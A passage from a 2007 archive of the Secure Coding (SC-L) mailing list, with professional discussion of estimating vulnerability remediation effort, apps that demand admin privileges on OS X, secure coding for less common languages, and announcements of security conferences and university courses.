The most interesting thing to me about EOG is that I believe the kinds of time and state errors found in MMORPGs like World of Warcraft are indicators of what we can expect over the next decade as SOA actually catches on.  You see, moving around state between gazillions of clients and a central server in real time is a huge security challenge.  Most software people screw it up.  Darkreading wrote a little story about this last night: http://www.darkreading.com/document.asp?doc_id=128961&WT.svl=news1_1

The book is packed with real code, hard core examples, and things you can try yourself.  Give it a spin!

gem

p.s. For some reason, amazon is a bit behind the curve for the launch and you can only pre-order.  More on that when it gets cleared up.


From c.mccown at intel.com  Wed Jul 18 11:53:41 2007
From: c.mccown at intel.com (McCown, Christian M)
Date: Wed, 18 Jul 2007 08:53:41 -0700
Subject: [SC-L] Resources to fix vulns
Message-ID: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>

What do you tell a C-level exec in terms of h/c and time it will take to
fix web app vulnerabilities discovered in a website?

	X number of vulnerabilities = Y h/c and Z time.

Of course there's a host of factors/variables involved that could wind
up looking like actuarial tables or DNA sequences (!), but what we'd
like to be able to do is sum it up as an initial swag and let the app
owners use it as a factor in calculating the actual time to remediate.

Anyone done this or like to take a swipe?

____
Chris McCown, GSEC(Gold)
Intel Corporation
* (916) 377-9428 | * c.mccown at intel.com

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070718/1e98c830/attachment.html 

From gem at cigital.com  Wed Jul 18 13:49:41 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 18 Jul 2007 13:49:41 -0400
Subject: [SC-L] Exploiting Online Games + Silver Bullet + Darkreading
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA13A6F6B@va-mailhub.cigital.com>
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA5E14B78@va-mailhub.cigital.com>

hi sc-l,

Sadly, Addison-Wesley screwed up the release date of the book and as a result (and as many of you have pointed out in private email) the book is not yet available from amazon.  That situation will be remedied by the end of this week, but in the meantime you can order the book from three websites:
http://search.barnesandnoble.com/booksearch/isbnInquiry.asp?z=y&EAN=9780132271912&itm=1
http://www.awprofessional.com
http://www.informit.com/title/0132271915

I'm psyched about the coverage we're getting so far.  If we do this properly, we can get some wide exposure for software security.  Anything to get more people to understand the issues that we all grapple with daily!

gem

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Gary McGraw
Sent: Friday, July 13, 2007 9:56 AM
To: SC-L at securecoding.org
Subject: [SC-L] Exploiting Online Games + Silver Bullet + Darkreading

hi sc-l,

Greg Hoglund and I are releasing our new book "Exploiting Online Games" today.  Lots of information on the book can be found here http://exploitingonlinegames.com, including a foreword by Ed Felten, the usual blurbs, and a complete preface that explains the structure of the book.

Greg and I did a Silver Bullet episode that we released last night.  Greg is an interesting guy, with deep knowledge of rootkits, decompilers, and low level security exploits.  We talked about that, and we talked a little about EOG
http://www.cigital.com/silverbullet/

The most interesting thing to me about EOG is that I believe the kinds of time and state errors found in MMORPGs like World of Warcraft are indicators of what we can expect over the next decade as SOA actually catches on.  You see, moving around state between gazillions of clients and a central server in real time is a huge security challenge.  Most software people screw it up.  Darkreading wrote a little story about this last night: http://www.darkreading.com/document.asp?doc_id=128961&WT.svl=news1_1

The book is packed with real code, hard core examples, and things you can try yourself.  Give it a spin!

gem

p.s. For some reason, amazon is a bit behind the curve for the launch and you can only pre-order.  More on that when it gets cleared up.

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From ljknews at mac.com  Wed Jul 18 15:41:51 2007
From: ljknews at mac.com (ljknews)
Date: Wed, 18 Jul 2007 15:41:51 -0400
Subject: [SC-L] Resources to fix vulns
In-Reply-To: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
References: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
Message-ID: <p05200f07c2c41d5a96b7@[192.168.1.254]>

At 8:53 AM -0700 7/18/07, McCown, Christian M wrote:
> Content-class: urn:content-classes:message
> Content-Type: multipart/alternative;
> 	boundary="----_=_NextPart_001_01C7C953.D03CBE5C"
>
> What do you tell a C-level exec in terms of h/c and time it will take to
>fix web app vulnerabilities discovered in a website?
>
>         X number of vulnerabilities = Y h/c and Z time.
>
> Of course there's a host of factors/variables involved that could wind up
>looking like actuarial tables or DNA sequences (!), but what we'd like to
>be able to do is sum it up as an initial swag and let the app owners use
>it as a factor in calculating the actual time to remediate.

Look at the track record for _that_organization_ fixing previous
vulnerabilities.
-- 
Larry Kilgallen

From James.McGovern at thehartford.com  Thu Jul 19 09:45:29 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 19 Jul 2007 09:45:29 -0400
Subject: [SC-L] Resources to fix vulns
In-Reply-To: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
References: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999E09@AD1HFDEXC309.ad1.prod>

I wish formulas were the solution to your question. The problem is that
the answer is heavily dependent upon the background of the C-level
executive. Some C-Level executives have an analytical background where
their backgrounds could have been actuarial, IT, statistics, etc where
they would understand intuitively that not all vulnerabilities are equal
and that the solution would feel more like describing a design pattern.
If your C-Level executive is a process weenie then you have to then get
into prioritization and the psychology of dealing with low-hanging fruit
vs severity vs occurences and so on. If you C-Level executive is
perception-oriented and frequently uses the phrase "perception is
reality" then your answer is simply to grab industry quotes from Gartner
or similar entity...

________________________________

From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of McCown, Christian M
Sent: Wednesday, July 18, 2007 11:54 AM
To: sc-l at securecoding.org
Subject: [SC-L] Resources to fix vulns



What do you tell a C-level exec in terms of h/c and time it will take to
fix web app vulnerabilities discovered in a website?

        X number of vulnerabilities = Y h/c and Z time. 

Of course there's a host of factors/variables involved that could wind
up looking like actuarial tables or DNA sequences (!), but what we'd
like to be able to do is sum it up as an initial swag and let the app
owners use it as a factor in calculating the actual time to remediate.

Anyone done this or like to take a swipe? 

____ 
Chris McCown, GSEC(Gold) 
Intel Corporation 
* (916) 377-9428 | * c.mccown at intel.com <mailto:c.mccown at intel.com>  



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070719/1e820b04/attachment.html 

From James.McGovern at thehartford.com  Thu Jul 19 09:50:54 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 19 Jul 2007 09:50:54 -0400
Subject: [SC-L] Resources to fix vulns
In-Reply-To: <p05200f07c2c41d5a96b7@[192.168.1.254]>
References: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
	<p05200f07c2c41d5a96b7@[192.168.1.254]>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999E0A@AD1HFDEXC309.ad1.prod>

 I would actually recommend AGAINST using prior track records for fixing
previous vulnerabilities because in all honestly they probably don't
track it. Most enterprises prioritize any type of defect based on the
importance as declared by business users whom traditionally would
prioritize a spelling error on a web page of higher importance than a
buffer overflow. Security stuff may get addressed while the developer
has the patient open and therefore there is no real transparency in
terms of the numbers.

Likewise, if you wanted to think of security as a system quality and
wanted to compare it to things like performance and scalability, those
things haven't been always solved by changing code where the behavior
was more like throwing lots of hardware at it. Security has done some of
this as well but this will not uncover what you seek.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of ljknews
Sent: Wednesday, July 18, 2007 3:42 PM
To: sc-l at securecoding.org
Subject: Re: [SC-L] Resources to fix vulns

At 8:53 AM -0700 7/18/07, McCown, Christian M wrote:
> Content-class: urn:content-classes:message
> Content-Type: multipart/alternative;
> 	boundary="----_=_NextPart_001_01C7C953.D03CBE5C"
>
> What do you tell a C-level exec in terms of h/c and time it will take 
>to fix web app vulnerabilities discovered in a website?
>
>         X number of vulnerabilities = Y h/c and Z time.
>
> Of course there's a host of factors/variables involved that could wind

>up looking like actuarial tables or DNA sequences (!), but what we'd 
>like to be able to do is sum it up as an initial swag and let the app 
>owners use it as a factor in calculating the actual time to remediate.

Look at the track record for _that_organization_ fixing previous
vulnerabilities.
--
Larry Kilgallen


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Thu Jul 19 09:54:45 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 19 Jul 2007 09:54:45 -0400
Subject: [SC-L] Smalltalk and other Second Class Languages
In-Reply-To: <p05200f07c2c41d5a96b7@[192.168.1.254]>
References: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
	<p05200f07c2c41d5a96b7@[192.168.1.254]>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999E0B@AD1HFDEXC309.ad1.prod>

 
By now, pretty much everyone is familiar with PCI and section 6 which
outlines the ten things an application but resolve. Many of the secure
coding tools such as Ounce Labs, Klokwork, etc have automated the
ability to inspect code but have only focused on languages such as Java
and .NET. I would like to get a sense as to how others are approaching
the notion of secure coding for languages such as Smalltalk,
Powerbuilder, Oracle Forms, etc and whether there are any public sources
of information on these languages from a security perspective.

If I have to bust my brain and figure it out myself, I would also like
guidance as to how to make this information known so that ALL software
vendors who automate the code review process can implement...


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From ljknews at mac.com  Thu Jul 19 11:57:19 2007
From: ljknews at mac.com (ljknews)
Date: Thu, 19 Jul 2007 11:57:19 -0400
Subject: [SC-L] Resources to fix vulns
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999E0A@AD1HFDEXC309.ad1.prod>
References: <E47BF8624D32E7409D03C3CBB65D8A9403CDB093@fmsmsx419.amr.corp.intel.com>
	<p05200f07c2c41d5a96b7@[192.168.1.254]>
	<773F863A6009244B87E6E866AFC7DB4603999E0A@AD1HFDEXC309.ad1.prod>
Message-ID: <p05200f16c2c5399b5f80@[192.168.1.254]>

At 9:50 AM -0400 7/19/07, McGovern, James F (HTSC, IT) wrote:

>  I would actually recommend AGAINST using prior track records for fixing
> previous vulnerabilities because in all honestly they probably don't
> track it. Most enterprises prioritize any type of defect based on the
> importance as declared by business users whom traditionally would
> prioritize a spelling error on a web page of higher importance than a
> buffer overflow. Security stuff may get addressed while the developer
> has the patient open and therefore there is no real transparency in
> terms of the numbers.

If investigation of prior security vulnerability remediation shows it
is skewed by low organizational priority, then that _is_ an indication
of how fast _that_organization_ will fix a security vulnerability.  It
seems much more honest that guesses about how long it would take if it
were high priority.

As for record keeping, the source code archives should show the date a
change was made (even if bundled with other changes).
-- 
Larry Kilgallen

From band at acm.org  Wed Jul 25 09:36:45 2007
From: band at acm.org (William L. Anderson)
Date: Wed, 25 Jul 2007 08:36:45 -0500
Subject: [SC-L] how far we still need to go
Message-ID: <46A751ED.1030503@acm.org>

I was trying out a new web service that permits sharing files from the desktop
to others online. It does seem a bit dodgy, but I was curious about how it worked.

Well after a few attempts to install it on a Mac OS X system I finally dope out
that it only seems to install and run as admin. That is, I not only need to
install it as admin (that's OK, ordinary users can't write to the /Applications
area), but I need to run it as admin.

After a few e-mails to the developers I get the following response:

"the only other thing that I can suggest is to install it (and run it) in an
admin account. Starting from scratch. I'll have to log it as an issue that
non-admin users can't install it (I've honestly never created a non-admin
account on OS X and I guess no one else here has either because we didn't think
of it!)"

I am flabbergasted. When I first encountered Unix in 1983 I was taught that you
always run as an ordinary user, and only use admin (root) privileges when
needed. If OS X developers are running as admin, and building and testing their
products as admin, well ... I'm still in shock. And I weep for the species.

-Bill Anderson
http://praxis101.com/blog/
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4546 bytes
Desc: S/MIME Cryptographic Signature
Url : http://krvw.com/pipermail/sc-l/attachments/20070725/962769b3/attachment.bin 

From coley at linus.mitre.org  Wed Jul 25 11:43:53 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 25 Jul 2007 11:43:53 -0400 (EDT)
Subject: [SC-L] how far we still need to go
In-Reply-To: <46A751ED.1030503@acm.org>
References: <46A751ED.1030503@acm.org>
Message-ID: <Pine.GSO.4.51.0707251140140.14520@faron.mitre.org>


On Wed, 25 Jul 2007, William L. Anderson wrote:

> I am flabbergasted. When I first encountered Unix in 1983 I was taught
> that you always run as an ordinary user, and only use admin (root)
> privileges when needed. If OS X developers are running as admin, and
> building and testing their products as admin, well ... I'm still in
> shock. And I weep for the species.

Unfortunately, there's not much of a surprise here.  The same problem
exists for lots of Windows-based applications.  I regard it as a leftover
from the fact that these OSes were not designed to be multi-user, but the
threat landscape has changed such that multiple users (or at least
multiple roles for the same user?) are necessary.  This will take a bit of
time before it registers with the everyday computer user or developer of
these mono-user systems.

- Steve

From ken at krvw.com  Wed Jul 25 15:18:09 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Wed, 25 Jul 2007 15:18:09 -0400
Subject: [SC-L] how far we still need to go
In-Reply-To: <46A751ED.1030503@acm.org>
References: <46A751ED.1030503@acm.org>
Message-ID: <02FABD09-C061-426E-9E09-0D1C85B5C480@krvw.com>


On Jul 25, 2007, at 9:36 AM, William L. Anderson wrote:
> Well after a few attempts to install it on a Mac OS X system I  
> finally dope out
> that it only seems to install and run as admin. That is, I not only  
> need to
> install it as admin (that's OK, ordinary users can't write to the / 
> Applications
> area), but I need to run it as admin.

Maddening, isn't it?  I maintain that this is a software issue,  
insofar as how the software is bolted into its operating  
environment.  Many disagree with that point of view, which I can  
accept, but I believe that to pass this off to the "ops guys" is a  
bad practice that borders on negligence.  Even for those who disagree  
with me, I still would argue that it's largely under the control of  
the developer to be able to bolt the code into a safe operating  
environment -- that promotes the principle of least privilege  
effectively.

One of my customers uses -- and hence, so do I -- VPN software and a  
software one-time token ("SoftToken") that requires the SoftToken.app  
software to have read/write access to its folder under /Applications  
on OS X.  The presumption was that it would always be run as root.   
Well, I've gone out of my way to run my desktop OS X user without  
privs, which broke SoftToken (it would generate the same token EVERY  
time it was invoked).  I still wouldn't accept running it as root,  
however, and was able to circumvent the problem by only giving my  
desktop user read/write to the one data file that SoftToken needed to  
write to.  Still not as good as designing it properly in the first  
place, but it was an acceptable compromise for me to be able to do  
what I need to do.  FWIW...

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070725/5cfeec8a/attachment.bin 

From BlueBoar at thievco.com  Wed Jul 25 18:18:28 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Wed, 25 Jul 2007 15:18:28 -0700
Subject: [SC-L] how far we still need to go
In-Reply-To: <46A751ED.1030503@acm.org>
References: <46A751ED.1030503@acm.org>
Message-ID: <46A7CC34.8040601@thievco.com>

William L. Anderson wrote:
> I am flabbergasted. When I first encountered Unix in 1983 I was taught that you
> always run as an ordinary user, and only use admin (root) privileges when
> needed. If OS X developers are running as admin, and building and testing their
> products as admin, well ... I'm still in shock. And I weep for the species.

Are you confusing the Mac specifics? "Admin" on OS X is not the same as
root. Members of the Admin group can elevate privs to do things as the
equivalent of root, and the Admin group can write to /Applications. The
app in question could improve, of course, but the fact the Admin has so
much power and that the first user you create is a member of that group
is the fault of OS X.

(At least, that's the way it worked not too long ago, Apple does seem to
occasionally fix these things over time.)

						BB

From band at acm.org  Wed Jul 25 18:33:42 2007
From: band at acm.org (William L. Anderson)
Date: Wed, 25 Jul 2007 17:33:42 -0500
Subject: [SC-L] how far we still need to go
In-Reply-To: <46A7CC34.8040601@thievco.com>
References: <46A751ED.1030503@acm.org> <46A7CC34.8040601@thievco.com>
Message-ID: <46A7CFC6.2030703@acm.org>

BB, well yes I did gloss over the OS X admin and Unix "root" diffs.

And I agree that the install does create the first user as admin. That's a
problematic scenario.

Furthermore, I probably know too much, because I knew I wanted to create an
ordinary user acc't in addition to admin on my personal machine. And I know
enough to add the ordinary user to the "sudoer" list, so I can get admin
privileges when I want. This is definitely way too much work for someone who
just wants to use the computer.

But I still expect developers to know the difference and build their apps so
that ordinary folk can install them. But, then ordinary folk need to know the
difference between admin and ordinary. ... Uh oh, I'm getting a headache.

Thanks for the clarification.

-Bill

Blue Boar wrote:
> William L. Anderson wrote:
>> I am flabbergasted. When I first encountered Unix in 1983 I was taught that you
>> always run as an ordinary user, and only use admin (root) privileges when
>> needed. If OS X developers are running as admin, and building and testing their
>> products as admin, well ... I'm still in shock. And I weep for the species.
> 
> Are you confusing the Mac specifics? "Admin" on OS X is not the same as
> root. Members of the Admin group can elevate privs to do things as the
> equivalent of root, and the Admin group can write to /Applications. The
> app in question could improve, of course, but the fact the Admin has so
> much power and that the first user you create is a member of that group
> is the fault of OS X.
> 
> (At least, that's the way it worked not too long ago, Apple does seem to
> occasionally fix these things over time.)
> 
> 						BB
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4546 bytes
Desc: S/MIME Cryptographic Signature
Url : http://krvw.com/pipermail/sc-l/attachments/20070725/900be3e3/attachment.bin 

From dinis at ddplus.net  Wed Jul 25 21:03:18 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Thu, 26 Jul 2007 02:03:18 +0100
Subject: [SC-L] how far we still need to go
In-Reply-To: <46A751ED.1030503@acm.org>
References: <46A751ED.1030503@acm.org>
Message-ID: <701fd6b60707251803v586187f1rc1e62c9ab1ef365f@mail.gmail.com>

It's a simple economics problem. The moment these companies and developers
lose sales (or market share) because their products require admin / root
privileges to run, is the moment they start to REALLY support it.

And the reason why there isn't such REAL demand (with the exception of crazy
security dudes like us and the poor unlucky guys who actually GOT attacked)
is because the attackers are not exploiting the fact that these apps need
admin / root.

And if the attackers are not exploiting it, the customers are not losing
money, and if the customers are not losing money they will not demand more
secure systems.

So its good news, we are still safe, since the Risk is quite low :)

Btw, at OWASP we are trying to organize an OWASP Day to coincide with the
Global Security Week. See http://www.owasp.org/index.php/OWASP_Day for more
details and please feel free to get involved :)

Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org


On 7/25/07, William L. Anderson <band at acm.org> wrote:
>
> I was trying out a new web service that permits sharing files from the
> desktop
> to others online. It does seem a bit dodgy, but I was curious about how it
> worked.
>
> Well after a few attempts to install it on a Mac OS X system I finally
> dope out
> that it only seems to install and run as admin. That is, I not only need
> to
> install it as admin (that's OK, ordinary users can't write to the
> /Applications
> area), but I need to run it as admin.
>
> After a few e-mails to the developers I get the following response:
>
> "the only other thing that I can suggest is to install it (and run it) in
> an
> admin account. Starting from scratch. I'll have to log it as an issue that
> non-admin users can't install it (I've honestly never created a non-admin
> account on OS X and I guess no one else here has either because we didn't
> think
> of it!)"
>
> I am flabbergasted. When I first encountered Unix in 1983 I was taught
> that you
> always run as an ordinary user, and only use admin (root) privileges when
> needed. If OS X developers are running as admin, and building and testing
> their
> products as admin, well ... I'm still in shock. And I weep for the
> species.
>
> -Bill Anderson
> http://praxis101.com/blog/
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>


--
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070726/acc544ec/attachment-0001.html 

From ljknews at mac.com  Wed Jul 25 22:23:06 2007
From: ljknews at mac.com (ljknews)
Date: Wed, 25 Jul 2007 22:23:06 -0400
Subject: [SC-L] how far we still need to go
In-Reply-To: <701fd6b60707251803v586187f1rc1e62c9ab1ef365f@mail.gmail.com>
References: <46A751ED.1030503@acm.org>
	<701fd6b60707251803v586187f1rc1e62c9ab1ef365f@mail.gmail.com>
Message-ID: <p05200f22c2cdb5c22085@[192.168.1.254]>

At 2:03 AM +0100 7/26/07, Dinis Cruz wrote:
> It's a simple economics problem. The moment these companies and
>developers lose sales (or market share) because their products require
>admin / root privileges to run, is the moment they start to REALLY support
>it.

For Windows that day might be when they have to run under the new US
federal government standard Windows configuration, due out any month now.
-- 
Larry Kilgallen

From gem at cigital.com  Thu Jul 26 17:49:31 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 26 Jul 2007 17:49:31 -0400
Subject: [SC-L] ACM CSS
Message-ID: <41945506397C0C4886A8C5BFF089B5CA131AF6595A@va-mailhub.cigital.com>

Hi sc-l,

Somehow Patrick McDaniel conned me into helping with the Industrial Track program committee this year for the ACM CSS conference.

If you're interested in exposing your really damn good software security fu to academic scrutinty, you might consider coming.  August 3rd is the deadline.

http://www.acm.org/sigs/sigsac/ccs/CCS2007/cfp-industry.html

I, for one, would love to see the track filled with software security excellence.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From dave.wichers at owasp.org  Fri Jul 27 19:19:43 2007
From: dave.wichers at owasp.org (Dave Wichers)
Date: Fri, 27 Jul 2007 19:19:43 -0400
Subject: [SC-L] 7th OWASP AppSec Conference @ eBay in San Jose - Nov 12-15,
	2007
Message-ID: <00c301c7d0a4$9d9bb5f0$d8d321d0$@wichers@owasp.org>

We have finally locked in the dates and exact location of the Fall OWASP
conference. The next OWASP U.S. conference will be held at 2211 North First
Street in San Jose, CA at eBay Nov 12-15, 2007.  Registration for this
conference should open sometime mid to late August.

 

This conference will have two days of tutorials (Mon-Tue - Nov 12-13)
followed by a two day conference (Wed-Thur - Nov 14-15). The conference will
have 3 tracks on the first day instead of 2. The 3rd track will be focused
on Web Services Security which is a new area for OWASP.

 

The conference will also include a technology expo for the first time, where
vendors of application security products can bring in their wares and their
technical folks as well to explain the merits of their technologies in the
fight against insecure software.

 

If you are interested in speaking at this conference on a Web Services
Security topic, please contact Gunnar Peterson, who is organizing that
track. (gunnar 'at' arctecgroup.net).

 

If you are interested in speaking at this conference on a non-web services
security topic, please contact me.

 

If you are interested in exhibiting your technology at this conference,
please contact Pravir Chandra (chandra 'at' list.org), and cc me.

 

Thanks, Dave

 

Dave Wichers

OWASP Conferences Chair

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070727/8bcf2f1f/attachment.html 

From dcrocker at eschertech.com  Fri Jul 27 15:21:14 2007
From: dcrocker at eschertech.com (David Crocker)
Date: Fri, 27 Jul 2007 20:21:14 +0100
Subject: [SC-L] 5th IEEE International Conference on Software Engineering
	and Formal Methods
Message-ID: <016001c7d083$4c746c60$6501a8c0@escheradmin>

Hi all,

Seeing that formal methods have been used to prove aspects of system security, I
thought that some members might be interested in the 5th IEEE SEFM conference,
which will be held on 12-14 September in London.

The conference program (http://www.iist.unu.edu/SEFM07/programme.html) includes
papers on the following:

 Verifying the Mondex Case Study (verifying that a smart card money-exchange
protocol is secure)

 Recovery from DoS Attacks in MIPv6

 Verification of C Programs Using Automated Reasoning (my own paper - includes
absence of buffer overflow)

See http://www.iist.unu.edu/SEFM07 for more details.

Regards,

David Crocker, Escher Technologies Ltd.
Consultancy, contracting and tools for dependable software development
www.eschertech.com





From ljknews at mac.com  Sat Jul 28 07:28:47 2007
From: ljknews at mac.com (ljknews)
Date: Sat, 28 Jul 2007 07:28:47 -0400
Subject: [SC-L] Dilbert Does Software Testing
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA131AF6595A@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA131AF6595A@va-mailhub.cigital.com>
Message-ID: <p05200f07c2d0d8c83b69@[192.168.1.254]>

http://www.dilbert.com/comics/dilbert/archive/images/dilbert2007071745828.gif
-- 
Larry Kilgallen

From Holger.Peine at iese.fraunhofer.de  Wed Aug  1 10:14:30 2007
From: Holger.Peine at iese.fraunhofer.de (Holger.Peine at iese.fraunhofer.de)
Date: Wed, 1 Aug 2007 16:14:30 +0200
Subject: [SC-L] University lecture on Sec Sw Eng online
Message-ID: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>

I recently completed a lecture on secure software engineering,
and I guess there a quite a few people on this list who could
make use of some of the material, whether for their own presentations
or simply for teaching themselves.

The lecture was given at Kaiserslautern University of Technology as 
12 lessons of 90 minutes (each comprising about 35 slides) in English; 
note that the accompanying student exercise problems are in German,
however. 
The chapters (of varying length, as indicated by their mapping to
lessons) 
are as follows:

01   	IT Security and Software Security
02  	Fundamental Notions and Definitions
03a  	Vulnerabilities and Attacks (Part 1)
03b  	Vulnerabilities and Attacks (Part 2) 
04  	Security in the Software Development Process
05  	Security Requirements Elicitation 
06  	Threat Analysis
07a  	Security in Architecture and Design (Part 1)
07b  	Security in Architecture and Design (Part 2)
08a  	Secure Coding (Part 1) 
08b  	Secure Coding (Part 2)
09  	Quality Assurance
10, 11, 12 Process Models, Usability, and Conclusions 

You can find all the material at
http://www.iese.fraunhofer.de/lectures/peine/materialcourse/

This was the first iteration of my first self-designed lecture; it is 
certainly not perfect yet (in fact I already have some improvements
sketched for the next iteration, such as reorganizing the process
material), so criticism is welcome. 

I know of few comparable lectures world-wide, i.e. university lectures
covering 
security specifically from a software engineering viewpoint; so far, I'm
aware of the lectures by Pascal Meunier at Purdue and by Dieter Gollmann

at Hamburg-Harburg;  if you know of any others, I'd be glad to hear
about 
those, too.

Kind regards from Germany,
Holger Peine

-- 
Dr. Holger Peine, Project Manager Security
Fraunhofer IESE, Fraunhofer-Platz 1, 67663 Kaiserslautern, Germany
Phone +49-631-6800-2134, Fax -1899 (shared)
http://www.iese.fraunhofer.de
PGP key via http://pgp.mit.edu ; fingerprint is 1BFA 30CB E3ED BA99 E7AE
2BBB C126 A592 48EA F9F8


From rafael.ruiz at navico.com  Wed Aug  1 18:15:20 2007
From: rafael.ruiz at navico.com (Rafael Ruiz)
Date: Wed, 1 Aug 2007 15:15:20 -0700
Subject: [SC-L] University lecture on Sec Sw Eng online
In-Reply-To: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>
References: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>
Message-ID: <C6622F1B4D0B7D4CA5EE687986C268C703F5AFB4@ens-server08.ens.lowrance.com.mx>

Hi guys, I'm interested in secure coding, could you send me an
attachment with any reads you recommend? Sorry I don't have http access
right now, so I will really appreciate this.

Thanks, Rafael. 


From rcs at cert.org  Fri Aug  3 09:06:01 2007
From: rcs at cert.org (Robert C. Seacord)
Date: Fri, 03 Aug 2007 09:06:01 -0400
Subject: [SC-L] University lecture on Sec Sw Eng online
In-Reply-To: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>
References: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>
Message-ID: <46B32839.6060700@cert.org>


In an off-line conversation, Holger suggested I put up a pointer to the
undergraduate course in "Secure Programming" I offered this past spring
in the School of Computer Science at CMU:

https://www.securecoding.cert.org/confluence/display/sci/15392+Secure+Programming

This course probably overlaps  somewhat with Holger's Secure Coding
lectures but also contains additional material.

The course uses the Addison-Wesley book "Secure Coding in C and C++" as
a text.

rCs

> I recently completed a lecture on secure software engineering,
> and I guess there a quite a few people on this list who could
> make use of some of the material, whether for their own presentations
> or simply for teaching themselves.
>
> The lecture was given at Kaiserslautern University of Technology as 
> 12 lessons of 90 minutes (each comprising about 35 slides) in English; 
> note that the accompanying student exercise problems are in German,
> however. 
> The chapters (of varying length, as indicated by their mapping to
> lessons) 
> are as follows:
>
> 01   	IT Security and Software Security
> 02  	Fundamental Notions and Definitions
> 03a  	Vulnerabilities and Attacks (Part 1)
> 03b  	Vulnerabilities and Attacks (Part 2) 
> 04  	Security in the Software Development Process
> 05  	Security Requirements Elicitation 
> 06  	Threat Analysis
> 07a  	Security in Architecture and Design (Part 1)
> 07b  	Security in Architecture and Design (Part 2)
> 08a  	Secure Coding (Part 1) 
> 08b  	Secure Coding (Part 2)
> 09  	Quality Assurance
> 10, 11, 12 Process Models, Usability, and Conclusions 
>
> You can find all the material at
> http://www.iese.fraunhofer.de/lectures/peine/materialcourse/
>
> This was the first iteration of my first self-designed lecture; it is 
> certainly not perfect yet (in fact I already have some improvements
> sketched for the next iteration, such as reorganizing the process
> material), so criticism is welcome. 
>
> I know of few comparable lectures world-wide, i.e. university lectures
> covering 
> security specifically from a software engineering viewpoint; so far, I'm
